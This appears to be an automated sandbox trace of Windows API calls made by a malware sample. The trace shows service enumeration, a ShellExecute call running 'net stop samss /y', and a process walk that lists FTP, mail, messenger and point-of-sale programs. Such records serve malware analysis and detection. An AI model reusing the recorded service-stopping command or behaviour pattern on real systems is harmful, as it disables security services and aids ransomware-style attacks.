	[0133.561] EnumServicesStatusW (in: hSCManager=0xb0b20, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 0
	[0133.563] VirtualAlloc (lpAddress=0x0, dwSize=0x169d, flAllocationType=0x1000, flProtect=0x40) returned 0x8790000
	[0133.564] EnumServicesStatusW (in: hSCManager=0xb0b20, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8790000, cbBufSize=0x169d, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x8790000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 1
	[0133.566] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0153.789] Sleep (dwMilliseconds=0x96) 
	[0154.559] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0154.737] Sleep (dwMilliseconds=0xc350) 
	[0165.017] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x7ec
	[0165.052] Process32FirstW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0165.054] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0165.057] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0165.060] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0165.062] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0165.390] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0165.394] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0165.397] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0165.400] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0165.403] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0165.406] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.409] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.411] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.414] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.417] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.420] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.730] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.733] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0165.736] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0165.738] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0165.742] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0165.744] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.747] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0165.750] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0165.753] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.756] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0165.759] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.762] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0165.765] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0165.953] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0165.956] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0165.959] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0165.961] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0165.964] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0165.967] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0165.970] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0165.973] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0165.976] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0165.979] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0165.981] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0166.121] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0166.125] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0166.128] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0166.131] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0166.134] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0166.137] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0166.140] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0166.143] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0166.146] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0166.149] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0166.152] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0166.154] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0166.352] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0166.354] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0166.357] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0166.360] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0166.362] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0166.365] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0166.368] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0166.371] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0166.374] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0166.377] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0166.379] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0166.382] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0166.385] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0166.388] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0166.547] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0166.550] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0166.553] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0166.556] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0166.559] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0166.562] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0166.565] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0166.568] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0166.571] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0166.573] Process32NextW (in: hSnapshot=0x7ec, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
